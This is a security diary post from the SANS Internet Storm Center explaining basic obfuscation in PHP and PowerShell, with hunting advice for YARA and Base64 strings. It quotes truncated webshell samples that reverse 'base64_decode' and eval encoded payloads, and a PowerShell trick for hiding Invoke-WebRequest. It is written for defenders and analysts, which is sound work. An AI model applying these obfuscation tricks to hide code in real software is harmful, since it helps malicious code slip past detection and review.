Threat Level: green Handler on Duty: Xavier Mertens

SANS ISC: Internet Storm Center - Internet Security | DShield Internet Storm Center

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

Latest Diaries

Basic Obfuscation With Permissive Languages

Published: 2018-11-16
Last Updated: 2018-11-16 07:36:33 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

For attackers, obfuscation is key to keep their malicious code below the radar. Code is obfuscated for two main reasons: defeat automatic detection by AV solutions or tools like YARA (which still rely mainly on signatures) and make the code difficult to read/understand by a security analyst.

Languages like PHP or Powershell are very permissive in the way they handle variables and functions. They also provide plenty of functions that are normally not malicious at all but which can sometimes “ring a bell” when found in pieces of code. A few daya ago, I found a webshell sample that was Base64 encoded (classic behaviour) but instead of calling the function directly, it was stored in a variable. This name being in a variable, it can also be obfuscated. Check out this piece of code:

1: <?php
2: $D=strrev('edoced_46esab’);
3: $s=gzinflate($D('7X39d9s2sujvPaf/A83qBmIi0ZKcdLOSKdtNnE3e5uvGzrZ9tq9KSZTEhiJV...

strrev() is a simple PHP function to revert a string. $D contains “base64_decode” and processes the output of gzinflate(). Simple!

But PHP is not the only language to allow this. Powershell too. There is no native strrev() function in Powershell (as far as a know but I’m not a “guru” in Powershell). So, let’s create our own strrev():

1: function strrev() {
2:   param([string]$s)
3:   $in = $s.ToCharArray()
4:   [array]::Reverse($in)
5:   $out = -join($in)
6:   return $out
7: }

Call the  function with a random name and, now, you can call the obfuscated function to hide suspicious ones:

1: $a = "tseuqeRbeW-ekovnI"
2: $b = lyJF5FnYlGDP($a)
3: $data = &$b "hxxp://"

So, it could be a good idea to search for interesting/rare function names in your hunting regex or YARA rules. Here are some other examples grabbed (mainly from

1: <?php
2: $v1 = strrev("edoced_46esab");
3: $v2 = strrev("sserpmocnuzg");
4: eval($v2($v1("eF7VPO1227aS/3NO3gFh1FJqFEuynSaVRPrGlrzx…

Or this one:

1: <?php 
2: $thycsy=chr(99)."r".chr(101).chr(97)."t".chr(101).chr(95)."\x66"."u".chr(110).chr(99)."t"."i"."\x6f"."n";
3: $szsglt = $thycsy('$a',strrev(';)a$(lave')); 
4: $szsglt(strrev(';))”=oQD9lQCK0QfJkQCK0gCNsjZ1JGJg8GajVWCJkQCK0QfJkQCJoQDJkQ..."(edoced_46esab(lave'));?>

Base64 encoded strings are also present everywhere (think about all email attachments). If you are hunting for interesting strings, search for them in ASCII or encoded with two bytes per character (use the ‘wide’ YARA keyword[1]) but search also for their Base64 encoded version! Some examples:

  • "Confidential" : Q29uZmlkZW50aWFs
  • "Invoke-Expression": SW52b2tlLUV4cHJlc3Npb24=
  • "ShellExecute": U2hlbGxFeGVjdXRl
  • "eval": ZXZhbA==

Simple obfuscation technique but it works!


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

0 comment(s)

If you have more information or corrections regarding our diary, please share.

Recent Diaries

Emotet infection with IcedID banking Trojan
Nov 15th 2018
2 days ago by Brad (0 comments)

Day in the life of a researcher: Finding a wave of Trickbot malspam
Nov 14th 2018
3 days ago by Brad (3 comments)

November 2018 Microsoft Patch Tuesday
Nov 13th 2018
3 days ago by Johannes (1 comment)

Using the Neutrino ip-blocklist API to test general badness of an IP
Nov 12th 2018
4 days ago by Rick (0 comments)

Community contribution: joining forces or multiply solutions?
Nov 11th 2018
5 days ago by Pasquale Stirparo (1 comment)

Video: CyberChef: BASE64/XOR Recipe
Nov 10th 2018
1 week ago by DidierStevens (0 comments)

View All Diaries →

Latest Discussions

Mobile Forensics tools - suggestions?
created Oct 8th 2018
1 month ago by Gary (0 replies)

issues with webpy service
created Oct 1st 2018
1 month ago by Alvaro (0 replies)

Pi Honeypot
created Oct 1st 2018
1 month ago by Alvaro (0 replies)

Attempting to report (msg body missing) -- Powershell malware in zip with jpg
created Sep 10th 2018
2 months ago by W60 (0 replies)

SSL Labs vs.
created Sep 7th 2018
2 months ago by Anonymous (0 replies)

View All Forums →

Latest News

View All News →

Top Diaries

Wide-scale Petya variant ransomware attack noted
Jun 27th 2017
1 year ago by Brad (6 comments)

Using a Raspberry Pi honeypot to contribute data to DShield/ISC
Aug 3rd 2017
1 year ago by Johannes (16 comments)

Detection Lab: Visibility & Introspection for Defenders
Dec 15th 2017
11 months ago by Russ McRee (2 comments)

Maldoc with auto-updated link
Aug 17th 2017
1 year ago by Xme (2 comments)

Second Google Chrome Extension Banker Malware in Two Weeks
Aug 29th 2017
1 year ago by Renato (0 comments)